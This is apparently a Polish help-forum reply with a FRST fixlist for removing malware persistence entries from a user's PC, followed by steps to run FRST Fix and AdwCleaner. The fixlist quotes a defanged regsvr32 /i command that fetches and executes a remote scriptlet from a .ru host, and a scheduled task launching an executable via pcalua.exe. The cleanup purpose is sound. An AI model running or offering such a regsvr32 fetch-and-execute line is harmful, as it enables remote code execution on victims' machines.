Otwórz notatnik systemowy i wklej:

Task: {44ADB257-76AC-4FFC-BF88-CB5D8E6C4155} - System32\Tasks\{877F2FDB-C3AC-419B-8908-D56448D572A2} => C:\Windows\system32\pcalua.exe -a E:\ \sp54548.exe -d E:\ 
HKLM-x32\...\RunOnce: [] => [X]
HKU\S-1-5-21-878460052-3697418835-3380647440-1000\...\Run: [COM+] => regsvr32 /s /n /u /i:hxxp://server2.aserdefa.ru/restore.xml scrobj.dll <==== UWAGA
2017-11-03 09:16 - 2017-11-03 09:16 - 000003058 _____ C:\Windows\System32\Tasks\{877F2FDB-C3AC-419B-8908-D56448D572A2}
EmptyTemp:

Plik zapisz pod nazwą fixlist.txt i umieść obok FRST w tym samym folderze. 
Uruchom jako administrator FRST i kliknij w Fix/Napraw.
Pobierz i uruchom jako administrator AdwCleaner   https://toolslib.net/downloads/finish/1/ Kliknij Scan(Skanuj) i później Cleaning(Oczyść).